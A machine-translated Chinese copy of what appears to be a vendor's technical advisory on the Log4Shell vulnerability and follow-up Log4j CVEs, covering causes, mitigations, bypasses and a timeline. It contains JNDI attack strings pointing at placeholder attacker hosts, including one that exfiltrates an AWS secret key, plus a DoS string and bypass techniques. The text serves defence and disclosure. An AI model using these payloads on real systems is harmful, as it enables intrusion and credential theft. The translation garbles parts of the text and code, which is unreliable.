Log4j Log4Shell 0日漏洞:你需要知道的一切

2021年12月9日,周四,阿里巴巴云安全团队的一名研究人员辞职了Twitter上的零日远程代码执行漏洞,针对极受欢迎的人群log4jJava的日志框架(具体地说,是2。x分支称为Log4j2).这个漏洞最初是发现并报告给阿帕奇11月24日,阿里巴巴云安全团队发布了这一消息。斜方分配cve - 2021 - 44228这个漏洞,后来被命名为Log4Shell安全研究人员。
JFrog发布了用于识别Log4J利用率和风险的OSS工具
使用扫描工具
自12月9日起Log4j脆弱性据报道,它在野外被大量利用,因为它很容易被利用(武器化的PoCs可以公开获得),而且非常受欢迎,在媒体和社交网络上得到了广泛的报道。
在这篇技术博客文章中,我们将阐明这个问题的利用途径,提供准确的、有研究支持的、关于什么是脆弱的新信息(因为有些报告是不准确的),为那些不能轻易升级Log4j版本的供应商提供Log4j漏洞补救建议,并回答我们对这个漏洞提出的一些迫切的问题(例如最近几天流传的一些建议的缓解措施的有效性)。
请注意:JFrog产hth华体会最新官方网站品不受影响,因为它们不使用log4j-core包。
在这篇博文中:
- Log4j Log4Shell漏洞的原因是什么?
- 为什么Log4Shell如此危险?
- Log4j漏洞究竟什么时候可以被利用?
- JFrog产品脆弱吗hth华体会最新官方网站?
- 我正在使用log4j-api包,我是脆弱的吗?
- 我怎样才能完全修复Log4j Log4shell问题?
- 我可以在不升级的情况下减轻Log4shell问题吗?
- 如何使用JFrog Xray检测Log4shell漏洞?
技术更新:
- 在较新的Java版本中使用Log4Shell
- 绕过log4j_format_msg_no_lookup缓解使用cve - 2021 - 45046
- 利用Log4j2 2.15.0进行远程代码执行
- CVE-2021-45105的影响分析
- Log4Shell相关事件时间轴
- CVE-2021-44832的影响分析
Log4j Log4Shell漏洞的原因是什么?
默认情况下,Log4j2支持名为“信息查找替换”。该特性允许在记录日志时用其他动态生成的字符串替换某些特殊字符串。例如,记录字符串运行$ {java:运行时}将产生类似于:
运行Java版本1.7.0_67
已经发现,其中一个查找方法,特别是JNDI与LDAP协议,将获取指定的Java类从远程源并反序列化它,在这个过程中执行类的一些代码。
这意味着,如果记录的字符串的任何部分可以由远程攻击者控制,则远程攻击者可以在记录该字符串的应用程序上获得远程代码执行。
利用这个问题的最常见的替换字符串看起来类似于:
$ {jndi: ldap: / / somedomain.com}
注意,以下协议也可能用于利用此问题(其中一些协议在默认情况下可能不可用)-
$ {jndi:ldap: / / somedomain.com}
$ {jndi:rmi: / / somedomain.com}
$ {jndi:dns: / / somedomain.com}(允许检测脆弱的服务器,不导致代码执行。)
基本攻击流程总结如下图:

直接从我们的安全研究团队了解Log4j漏洞的所有信息!
观看Log4shell点播网络研讨会
为什么Log4Shell如此危险?
该漏洞获得了可能的最高CVSS评分-10.0-非常危险,原因有以下几点:
- 对漏洞的利用是微不足道的和持续的,有成千上万的在GitHub上可用的武器化的漏洞还有其他公共资源。
- Log4j2是最流行的Java日志框架之一。目前近7000依赖于log4j-core(脆弱的构件)的Maven构件,还有无数其他Java项目使用它。
- 该漏洞可以很容易地在驱动攻击场景中使用,通过向随机HTTP服务器发送类似于:
/ HTTP / 1.1
主持人:somedomain.com
用户代理:$ {jndi: ldap: / / attacker-srv.com/foo}
或者,一个特定的web应用程序可以通过填充所有可用的HTML来强制使用使用自动化工具,例如XSStrike.
4.尽管该漏洞是上下文相关的,因为任意用户输入必须达到Log4j2日志记录函数之一(参见下一节),但这种情况非常常见。在大多数日志记录场景中,部分日志消息包含来自用户的输入。这种输入很少消毒,因为它被认为是非常安全的。
Log4j漏洞究竟什么时候可以被利用?
为了使一个特定的Java应用程序容易受到攻击,必须满足以下所有条件:
- Java应用程序使用log4j (Maven包log4j-core)版本2.0.0-2.12.1或2.13.0-2.14.1
- 版本2.12.2不脆弱,因为它从2.16.0接收了回移植的补丁。
- 远程攻击者可以通过日志api之一-记录任意字符串
logger.info (),logger.debug (),logger.error (),logger.fatal (),logger.log (),logger.trace (),logger.warn (). - 没有应用特定于log4j的缓解措施(请参阅下一个“缓解措施”部分)。
- (部分机器)使用的Java JRE / JDK版本低于以下版本:
- 6 u211
- 7 u201
- 8 u191
- 11.0.1
这是因为后来的版本设置了JVM属性com.sun.jndi.ldap.object.trustURLCodebase来假默认情况下,它禁止从任意URL代码库加载JNDI类。
请注意,仅依靠新的Java版本作为针对此漏洞的保护是有风险的,因为该漏洞仍可能在在易受攻击应用程序的类路径中包含某些“gadget”类的机器上被利用。看到附录B-“在新的Java版本中使用Log4Shell。”
JFrog产品脆弱吗hth华体会最新官方网站?
重要的是要注意JFrog Security已经验证了这一点JFrog平台解决方案本身不受影响,因为没有产品,hth华体会最新官方网站包括Artifactory,x光、分发、洞察、访问或任务控制都使用log4j-core包。
为免存疑,JFrog产品是hth华体会最新官方网站没有受到影响由以下任何cve -
- cve - 2021 - 44228
- cve - 2021 - 45046
- cve - 2021 - 45105
- cve - 2021 - 44832
我正在使用log4j-api包,我是脆弱的吗?
注意,一些警告声明Maven包log4j api很容易受到这个问题的影响。JFrog的安全研究团队调查了这一说法,得出的结论是Log4j-api(本身)不容易受到攻击。这是由于缺乏JndiLookup功能,并且可以通过尝试触发脆弱的代码很容易看到。

在只安装log4j-api的情况下运行这段代码会产生以下输出:
错误StatusLogger Log4j2无法找到日志实现。请将log4j-core添加到类路径中。使用SimpleLogger登录到控制台…
类运行相同的代码时SimpleLogger类中,将逐字记录查找字符串,但不会触发查找代码(因为它不存在)。
我怎样才能完全修复Log4j Log4shell问题?
解决这个问题的最佳方法是将您的log4j依赖项升级到版本2.16.0,它通过在默认情况下禁用JNDI并删除对消息查找的支持,完全解决了这个问题。
升级到2.15.0版本还将完全屏蔽默认配置,使其免受远程利用,尽管2.15.0版本添加了大多数缓解措施已经被绕过了(见附录D).为了保持不受未来影响,我们建议尽快升级到2.16.0。
我可以在不升级版本的情况下缓解Log4shell漏洞吗?
尽管我们建议通过将log4j版本升级到固定版本来完全修复漏洞,但不升级也可以完全缓解这个问题:
方法1:对于log4j 2.10.0及后续版本—禁用查找:
-通过CVE-2021-45046,在罕见的非默认配置中可以绕过此缓解方法。看到为更多的信息。我们仍然建议无法升级到较新的Log4j2版本的供应商同时使用下面指定的这种缓解方法和缓解方法2。
如果使用log4j 2.10.0或任何更高版本,我们建议通过设置环境变量来全局禁用消息查找LOG4J_FORMAT_MSG_NO_LOOKUPS来真正的在系统的init脚本中加载Java应用程序之前执行该命令:
出口LOG4J_FORMAT_MSG_NO_LOOKUPS = true
也可以在系统范围内通过编辑/etc/environment文件并添加:
LOG4J_FORMAT_MSG_NO_LOOKUPS = true
这种方法可以作为额外的保护层以防你怀疑不是所有的依赖都被正确地更新,甚至保护第三方Java包依赖/嵌入一个脆弱的版本,还没有被正确地打补丁。
或者,通过在运行脆弱的Java应用程序时添加以下命令行标志,可以禁用对JVM的特定调用的查找:量Dlog4j2.formatMsgNoLookups = True
例如,
java Dlog4j2。formatMsgNoLookups = True jar vulnerable.jar
方法2 -对所有2。xversions: removing the vulnerable class
在所有log4j 2上。xversions, it is possible to remove theJndiLookup通过执行这个命令,可以从任何Java应用程序中获取:
查找。/ -type f -name“log4j-core - * . jar”-exec zip -q -d“{}”org/apache/logging/log4j/core/lookup/JndiLookup.class\;
这将从当前目录开始递归地查找所有log4j-core JAR文件,并删除漏洞JndiLookup类。为了实现完全覆盖,可以从项目或服务器的根目录执行该命令。
注意:这种方法只建议作为最后的手段,因为有可能脆弱JndiLookup类嵌入递归JAR文件或zip命令无法访问的位置。在选择此方法时,强烈建议手动验证否JndiLookup类可用于任何Java应用程序。
如何使用JFrog Xray检测Log4shell漏洞?
x射线客户可以像往常一样扫描工件来检测CVE-2021-44228。一如既往,这是可以完成的CI / CD。

JFrog CLI:

或者JFrog IDE插件:

预订x射线安全工具的演示!
订一个演示
附录A
脆弱的例子
容易受到远程利用的示例应用程序(从LunaSec咨询):
进口org.apache.logging.log4j.LogManager;进口org.apache.logging.log4j.Logger;进口. io . *;进口java.sql.SQLException;进口java.util。*;公共类VulnerableLog4jExampleHandler实现了HttpHandler{静态日志记录器日志=LogManager.getlog(VulnerableLog4jExampleHandler.类.getName());/***一个简单的HTTP端点,读取请求的用户代理并将其记录回来。*这基本上是解释漏洞的伪代码,而不是一个完整的示例。*@param他HTTP请求对象* /公共无效处理(HttpExchange他)抛出IOException{字符串userAgent=他.getRequestHeader(“用户代理”);//这一行通过记录攻击者控制的HTTP用户代理报头来触发RCE。//攻击者可以将他们的User-Agent头文件设置为:${jndi:ldap://attacker.com/a}日志.信息(“请求用户代理:{}”, userAgent);字符串响应=“你好,”+ userAgent +“啊!”;他.sendResponseHeaders(200,响应.长度());OutputStream操作系统=他.getResponseBody();操作系统.写(响应.getBytes());操作系统.关闭();}}
附录B -
在较新的Java版本中使用Log4Shell
方法1 -滥用其他消息查找
尽管JNDI远程类加载在较新的Java版本中被禁用了,但是消息查找机制本身仍然可以工作,并且可以被滥用于各种目的:
- 如前所述,使用字符串,例如
$ {jndi:dns: / / dnsserver.com/somedomain}将导致受害者向dnsserver.com发送DNS查询(查询somedomainDNS记录)。这可以用来检测脆弱的log4j实例、隧道回传数据甚至作为DDoS攻击(给定足够的脆弱服务) - 有几个查找替换泄露了受害机器的敏感信息。最显著的是,使用攻击字符串
$ {jndi: ldap: / / $ {env: AWS_SECRET_ACCESS_KEY} .attacker-srv.com/foo}如果将该环境变量导出到易受攻击的log4j进程,则(对于任何协议类型)可能会泄漏计算机的秘密AWS访问密钥。当然,可以修改攻击字符串,以泄漏易受攻击的log4j进程中存在的任何环境变量。其他有趣的信息泄露查找包括:主:$ {x}-泄漏命令行参数#x的值,其中可能包含通过命令行传递的密码或访问密钥等敏感数据。$ {sys: propname}-泄漏a的值Java系统属性.例如,这可以用于泄漏当前用户名(user.name):

方法2 -滥用本地类路径中的工厂类
正如在这篇Veracode博客文章在美国,即使在禁用远程反序列化的较新的Java版本上,也有方法利用JNDI注入。
例如,如果org.apache.naming.factory.BeanFactory类(通常随Apache TomcatServers)在使用log4j的脆弱应用程序的类路径中可用,那么就可以利用Log4Shell漏洞进行远程代码执行,不管底层的JRE/JDK版本是什么。
这是由于这样一个事实:即使较新的Java版本不会反序列化远程任意类,攻击者仍然可以控制工厂类和它的属性,通过提供的JNDI参考:
![]()
远程攻击者不能提供任意工厂类,但可以将脆弱程序的类路径中的任何工厂类作为小工具重用。
一个可用的工厂类应该具有以下属性:
- 存在于脆弱程序的类路径中
- 实现
ObjectFactory接口 - 实现
getObjectInstance方法 - 执行危险动作
参考的属性
研究人员发现BeanFactory类符合这一要求,因为它对反射的危险使用——基于引用的字符串属性创建任意Java代码对象,这些对象由攻击者控制。
该博客引用了RMI服务器的完整利用代码,该服务器带有适当的Reference,可用于在较新的Java版本中利用Log4shellBeanFactory类在脆弱应用程序的类路径中可用。
注意,使用这种服务器的Log4Shell攻击字符串将类似于-
$ {jndi:rmi: / / attacker-srv.com/foo}
但是,所提供的RMI服务器也可以转换为ldap或ldap服务器,在这种情况下,攻击字符串将相应地改变。
由于其他“工厂小工具”,如BeanFactory类,我们强烈建议不要依赖较新的Java版本作为对抗Log4Shell的唯一防线,并升级log4j和/或实现我们提出的一些缓解措施。
方法3 -使用带有本地小工具类的序列化Java对象
如上所述,幼稚攻击向量将指示脆弱的基于log4j2的应用程序检索远程序列化类(通常通过LDAP)并加载它——允许攻击者完全控制类的内容。
但是,LDAP还支持在LDAP请求本身中发送序列化的Java对象(类的实例)javaSerializedData属性。
只有当对象的类在当前类路径(用于搜索类的目录和JAR文件的列表)中可用时,才可能对对象进行反序列化。
一个重要的区别是,在反序列化对象时,trustURLCodebase安全性缓解没有效果,因为这种特定的缓解只阻止加载新的代码库。
众所周知,当某些特定的对象被反序列化时,它们可以直接导致远程代码执行——这些对象所基于的类通俗地称为“gadget”。
例如:ysoserial概念验证工具聚合了这些众所周知的小工具,并允许生成具有任意代码执行负载的对象。
因此,攻击者如果知道在易受攻击的应用程序的类路径中存在特定的“gadget”类,就可以生成这样的Object,通过LDAP发送它,并在反序列化时获得代码执行,而不管javaSerializedData属性。
此外,由于上面提到的漏洞的信息泄漏属性,攻击者可能能够构建一个全自动的工具,该工具首先从脆弱的应用程序中查询特定的系统属性(通过使用递归查找),确定脆弱的应用程序中是否存在任何小工具类,然后构建一个特定于目标的有效负载以获得远程代码执行。
直到今天,我们还没有看到这样的工具公开可用或在野外使用,但不幸的是,我们相信这种恶意的活动还远远没有结束。
LOG4J_FORMAT_MSG_NO_LOOKUPS通过使用CVE-2021-45046进行缓解
在本节的序言中,我们想说的是,执行这种绕过的先决条件是非常不可能的,因此我们仍然考虑LOG4J_FORMAT_MSG_NO_LOOKUPS缓解在绝大多数情况下是有效的。
由于CVE-2021-45046的公开,其中一种建议的缓解技术(即禁用消息查找机制)可以在某些非默认配置中被绕过。
底线是如果CVE-2021-45046可以被利用的话Log4j2 2.10.0 - 2.14.1(包括),它允许攻击者绕过LOG4J_FORMAT_MSG_NO_LOOKUPS环境变量缓解,以及log4j2.noFormatMsgLookup系统属性缓解。
那么,CVE-2021-45046的开发条件是什么?
(归功于社区项目实现了类似的示例条件)
必须向Log4j2配置中添加一个新的(非默认的)模式布局。模式布局必须使用上下文查找(
$ {ctx:).一个脆弱的例子log4j2.properties文件-# vulnerable在2.14.1中,即使使用ENV log4j_format_msg_no_lookup true appender.console.layout.pattern = ${ctx:useragent} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n请注意,可以用许多不同的方式指定,但在任何情况下都没有缺省的上下文查找模式布局-

易受攻击的应用程序必须使用线程上下文映射,其中攻击者可以控制输入数据,例如:
public void handle(HttpExchange he)抛出IOException {// userAgent是攻击者控制的String userAgent = he. getrequestheader ("User-Agent");//注意,第一个参数匹配已配置模式ThreadContext的变量名。把(“useragent”,useragent);//日志消息本身不需要包含任何消息查找log.info("Received a request with User-Agent");...
在这两个条件都存在的情况下,攻击者可以“照常”发送攻击令牌——例如,在这种情况下,攻击者可能会发送一个HTTP请求,如-
/ HTTP / 1.1主持人:somedomain.com用户代理:$ {jndi: ldap: / / attacker-srv.com/foo}
代码执行将会发生,尽管LOG4J_FORMAT_MSG_NO_LOOKUPS缓解。
Update # 1 -更多易受攻击模式的例子,如@pwntester -的推文
MapMessage
例模式布局:
Appender.console.layout.pattern = ${map: protected}…
示例Java代码传递用户控制的数据(dirty):
MapMessage msg = new StringMapMessage()。(“信息”,“H”)。(“污染”,污染);
logger.error(味精);
杰克逊(只有杰克逊在应用程序的类路径中)
例模式布局:
Appender.console.layout.pattern = ${map: protected}…
示例Java代码传递用户控制的数据(dirty):
logger.info(新ObjectMessage(污染));
StructuredDataMessage
例模式布局:
Appender.console.layout.pattern = ${sd: protected}…
示例Java代码传递用户控制的数据(dirty):
StructuredDataMessage m = new StructuredDataMessage("1", "H", "event");m.put(“污染”,污染);
logger.error (m);
更新# 2 -JFrog安全研究团队发现并验证了更多脆弱模式的例子-
环境
例模式布局:
appender.console.layout.pattern = ${env:TAINTED_ENV_VAR}…
主要参数
例模式布局:
Appender.console.layout.pattern = ${main:0}…
示例Java代码传递用户控制的数据(dirty):
MainMapLookup.setMainArguments (args);
logger.error (" foo ");
事件(消息)
示例配置:
<?xml version="1.0" encoding="UTF-8"?>这将有效地打开消息查找。因此,利用可以与较老的Log4j版本类似地执行—${event:Message} ... logger.info (" $ {jndi: ldap: / / attacker.com/foo}”);
Log4j2 2.15.0添加了一个一些重要的措施之一禁止使用Log4Shell (CVE-2021-44228)。这些是添加的缓解措施及其当前的旁路状态-
-
- 默认情况下禁用消息查找-在特定的配置中可以绕过吗(cve - 2021 - 45046和更多)
-
allowedJndiProtocols- JNDI默认只允许以下协议- LDAP, LDAPS, Java(本地)-没有任何已知的旁路
-
allowedLdapHosts-通过LDAP的JNDI在默认情况下只能访问本地主机(127.0.0.1/localhost) -在特定的操作系统中可以被绕过吗(macOS, FreeBSD, Fedora, Arch Linux和Alpine Linux)
-
allowedLdapClasses-基于LDAP的JNDI默认情况下只能加载Java原语类-总能被绕过吗
由于绕过了缓解措施#3和#4,CVE-2021-45046从“低”(3.7)严重性升级为“严重”(9.0)严重性,因为利用它会立即导致RCE.话虽如此,正如我们上面所提到的,我们仍然考虑开发的先决条件CVE-2021-45046非常不可能,因为他们需要一个罕见的非默认配置。
这里有一些关于特定旁路的更多细节
缺省情况下,消息查找是禁用的
可以通过-绕过此缓解
-
- 附录C中指定的任何一种配置
-
- 如果应用程序显式允许消息查找,则通过定义包含
% m{查找}在其中一个配置文件中。例如,appender.console.layout.pattern = % m{查找}
- 如果应用程序显式允许消息查找,则通过定义包含
如前所述,在Log4j2 2.15.0中绕过此缓解目前直接导致RCE。
缺省情况下,LDAP之上的JNDI只能访问本地主机
@marcioalm在推特上写道,攻击字符串类似于$ {jndi: ldap: / / 127.0.0.1 # evilhost.com: 1389 /}将绕过本地主机限制,但最终与远程连接evilhost.com只有当易受攻击的应用程序运行在macOS和FreeBSD上时,我们才能重新生成这种绕过。外部消息来源也报告了Fedora、Arch Linux和Alpine Linux的脆弱性。在其他操作系统上,Java抛出UnknownHostException(在Ubuntu, Debian和Windows上测试)
在默认情况下,LDAP之上的JNDI可能只加载Java原语类
注意,如果通过非默认配置启用了JNDI,那么以下两个旁路也可以在2.16.0版本上工作
绕过#1 -检查时间,使用时间攻击
该漏洞是由JFrog的安全研究团队和其他安全研究人员独立发现并向Apache披露的。
在2.15.0版本中引入的类加载缓解首先通过调用来检查请求的LDAP属性getAttributes然后通过调用来加载LDAP指定的类/对象查找:
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAP.equalsIgnoreCase(uri.getScheme())) {if (!allowedHosts.contains(uri.getHost())) {LOGGER。警告(“试图访问ldap服务器不在允许列表中”);返回null;} //获取类属性属性属性= this.context.getAttributes(name);if (attributes != null){//类加载检查这里…}……}……//加载类返回(T) this.context.lookup(name);...
然而,getAttributes和查找调用都将导致分别发送LDAP请求
不需要恶意服务器为两个getAttributes而且查找请求。
因此,攻击者可以很容易地实现一个LDAP服务器,其运行方式如下-
- 对LDAP请求#1 -返回一个带有NULL属性的响应(将导致包代码跳过所有属性检查)
- 对LDAP请求#2 -发送回恶意响应(例如攻击者的URL
javaCodeBase)

这是一种典型的检查时间、使用时间(tocou)攻击,尽管没有竞态条件,因为攻击者的服务器是同步咨询的。
优势-不依赖于易受攻击应用程序的类路径中可用的“gadget”类
缺点-在新的Java版本中,加载远程代码库会被阻塞trustURLCodebase是假的)
绕过#2 -使用具有伪造名称的序列化对象
在反序列化嵌入式Java对象时,检查对象的类以不完整的方式实施,因为类比较只按名称进行:
if (attributeMap.get(SERIALIZED_DATA) != null) {if (classNameAttr != null) {String className = classNameAttr.get().toString();if (!allowedClasses.contains(className)) {LOGGER。warn("不允许{}的反序列化",className);返回null;}
因此,攻击者可以指定一个任意的序列化对象,但是设置javaClassName一个基元类型来绕过检查-private static final List permanentAllowedClasses = Arrays.asList(Boolean.class.getName(),
bytes .class. getname (), Character.class.getName(), Double.class.getName(), Float.class.getName(),
Integer.class.getName(), Long.class.getName(), Short.class.getName(), String.class.getName());
与前面的序列化对象绕过类似,这依赖于受害者在本地类路径中拥有序列化对象的适当“gadget”类。
优势-适用于较新的Java版本(其中trustURLCodebase是假的)
缺点-依赖于易受攻击应用程序的类路径中可用的“gadget”类
最近,在Log4j2中发布了一个新的拒绝服务CVE- CVE-2021-45105,带有CVSS7.5(AV: N /交流:L /公关:N / UI: N / S: U / C: N /我:N / A: H)。JFrog安全团队已经验证了版本2.16.0上的CVE数据和声明,并估计了CVSS的3.7(AV: N /交流:H /公关:UI: N / N / S: U / C: N /我:N / A: L)。这一估计是基于以下几点-
CVE2021 - 45105先决条件
尽管在CVE中没有明确规定,但此攻击的先决条件与CVE-2021-45046完全相同,即:攻击者必须控制一个模式布局的非消息部分.因此,CVE中提到的利用案例(“控制线程上下文映射的攻击者”)只是适用案例之一。在现实中,攻击者可以滥用任何非缺省配置附录C.例如,一个配置的模式MapMessage也会使应用程序容易受到这个CVE的攻击(只要攻击者控制了受污染的变量)-appender.console.layout.pattern = ${map: protected} - %-5p %c{1}:%L - %m%n从我们的角度来看,对这种非默认(且不太可能)配置的需求将这个问题的攻击复杂性提高到“高”。
拒绝服务的影响
运行public exploit string -${::-${::-${}}}在漏洞配置的Log4j2 2.16.0版本上,生成一个IllegalStateException- - - - - -
PoC字符串不会导致任何过多的CPU或内存使用,因此DoS影响(如果有的话)不应该对系统范围有任何影响。由于默认情况下,在Log4j2 appeners(只记录,不抛出)中会忽略异常,因此抛出的异常不会使服务器崩溃吗因此,DoS的影响被完全缓解:
私有void handleAppenderError(最终LogEvent事件,最终RuntimeException ex) {appender.getHandler()。error(createErrorMsg("处理Appender时发生异常"),event, ex);if (!appender.ignoreExceptions()) {// ignoreExceptions=true,默认抛出ex;}}
官方修复
通过将Log4j2升级到2.17.0版本,可以解决这个问题。
官方补丁(版本2.17.0)更改了StrSubstitutor逻辑来处理PoC的边界情况,并且在面对类似的输入时不会抛出任何异常。
对于遗留的(Java 7)用户,已经暗示将发布2.12.3版本来修复这个问题,尽管在撰写本文时还没有这样的版本可用。
缓解措施的CVE2021 - 45105
注意,此问题与JNDI无关,因此,以前提出的所有缓解措施(例如删除JndiLookup类)不会缓解这个问题。
为了缓解这个问题,在不忽略异常的非默认情况下,供应商可以用异常处理程序包装日志记录代码,这样就不会发生DoS。
总结-这个CVE目前似乎没有对生产web应用程序构成现实世界的威胁。
如前所述,JFrog的真实世界估计CVSS是3.7(AV: N /交流:H /公关:UI: N / N / S: U / C: N /我:N / A: L)
我们建议供应商在处理将2.16.0部署升级到2.17.0的任务之前,先将所有较旧的Log4j2部署升级到2.16.0。
18.07.2013 -易受攻击的JNDI查找特性是承诺。
24.11.2021 -阿里巴巴员工陈昭军报告了Apache漏洞。
26.11.2021 -cve - 2021 - 44228被分配在MITRE。
01.12.2021 -最早的剥削证据(根据Cloudflare的说法),可能表明漏洞细节在公开披露之前就已泄露。
05.12.2021 - Apache的开发人员创建一个错误票为了解决这个问题,发布版本2.15.0被标记为目标修复版本。
09.12.2021 -cve - 2021 - 44228上市(原Log4Shell CVE)。
09.12.2021 -安全研究员在Twitter上删除了一个零日远程代码执行漏洞.这条推文后来被删除了。
10.12.2021 -2.15.0版本发布(修复了CVE-2021-44228),其中修复了默认情况下禁用消息查找,并限制JNDI操作到特定的类和主机名。
10.12.2021 -检测到对Minecraft服务器的攻击。
13.12.2021 -发布了2.16.0版本(修复了CVE-2021-45046),它完全删除了消息查找(不能在任何配置中启用),并默认禁用JNDI支持(可以重新启用)。
14.12.2021 -cve - 2021 - 45046上市,表明Log4Shell仍然可以在非默认配置上被利用,但不会产生严重影响。
15.12.2021 -发布了2.12.2版本(与2.16.0的修复类似)支持Java 7的反向端口。
16.12.2021 - CVE-2021-45046的CVSS被提高到9.0,因为在Log4J 2.15.0上发现了一些主机名和类缓解的绕过。
18.12.2021 -cve - 2021 - 45105上市,显示了Log4J的字符串替换中的一个小错误,在非默认配置中可能导致抛出异常。
18.12.2021 -发布了2.17.0版本(修复了CVE-2021-45105),它重新实现了字符串替换并锁定了JNDI,只在本地使用。
22.12.2021 -发布了2.12.3版本(与2.17.0的修复类似),支持Java 7的反向端口。
22.12.2021 -发布2.3.1版本(与2.17.0类似的修复)支持Java 6的反向端口。
发布了Log4j2 2.17.0中附加的远程代码执行CVE -cve - 2021 - 44832, CVSS6.6(AV: N /交流:H /公关:H / UI: N / S: U / C: H /我:H: H)。
CVE在2.17.1 (Java 8)、2.13.4 (Java 7)和2.3.2 (Java 6)版本中进行了修复。
CVE具有极高的先决条件(详见下文),因此不太可能影响任何现实世界的系统。
在这一点上,我们认为从Log4j2 2.17.0(或等效版本)升级并不重要。
CVE2021 - 44832先决条件
目前,只有当攻击者直接控制Log4J的配置文件,特别是如果攻击者可以添加一个“JDBCAppender,带有任意属性。
该漏洞是由于“JDBCAppender”在其数据源属性。
在访问JNDI数据源时,远程协议(如LDAP)仍然可用,这意味着指定一个字符串,如ldap: / / attacker.com: 1337将导致易受攻击的应用程序与攻击者的服务器联系,该服务器可以提供要加载的远程类或序列化对象。
PoC
这是一个极简的配置文件,会触发该漏洞:
<?xml version="1.0" encoding="UTF-8"?>
如上所述,可以通过许多不同的格式(JSON、YAML、属性等)配置Log4j,因此这只是一个工作PoC示例。
注意,脆弱的应用程序实际上不需要记录任何东西吗,但记录器确实需要初始化,例如这样的-
Logger Logger = LogManager.getLogger("HelloWorld");
CVE2021 - 44832官方修复
可以通过将Log4j2升级到2.17.1 (Java 8)、2.13.4 (Java 7)或2.3.2 (Java 6)版本来解决这个问题。
的官方修复禁用JNDI对JDBCAppender的支持(默认情况下),并添加一个名为log4j2.enableJndiJdbc这允许重新启用它。
此外,JDBC现在重用公共JNDIManager类,这意味着以前对JNDI的所有限制都将适用,即使配置了“enableJndiJdbc”(例如,仅本地的java允许在连接字符串中使用协议)
气候变化的CVE2021 - 44832
类似于众所周知的Log4Shell缓解,可以从Log4J JAR文件中删除“JdbcAppender.class”文件-
查找。/ -type f -name“log4j-core - * . jar”-exec zip -q -d“{}”org/apache/logging/log4j/core/appender/db/jdbc/JdbcAppender.class\;
JFrog发布了用于识别Log4J利用率和风险的OSS工具
使用扫描工具
阅读所有关于新的零日的内容SpringShell脆弱性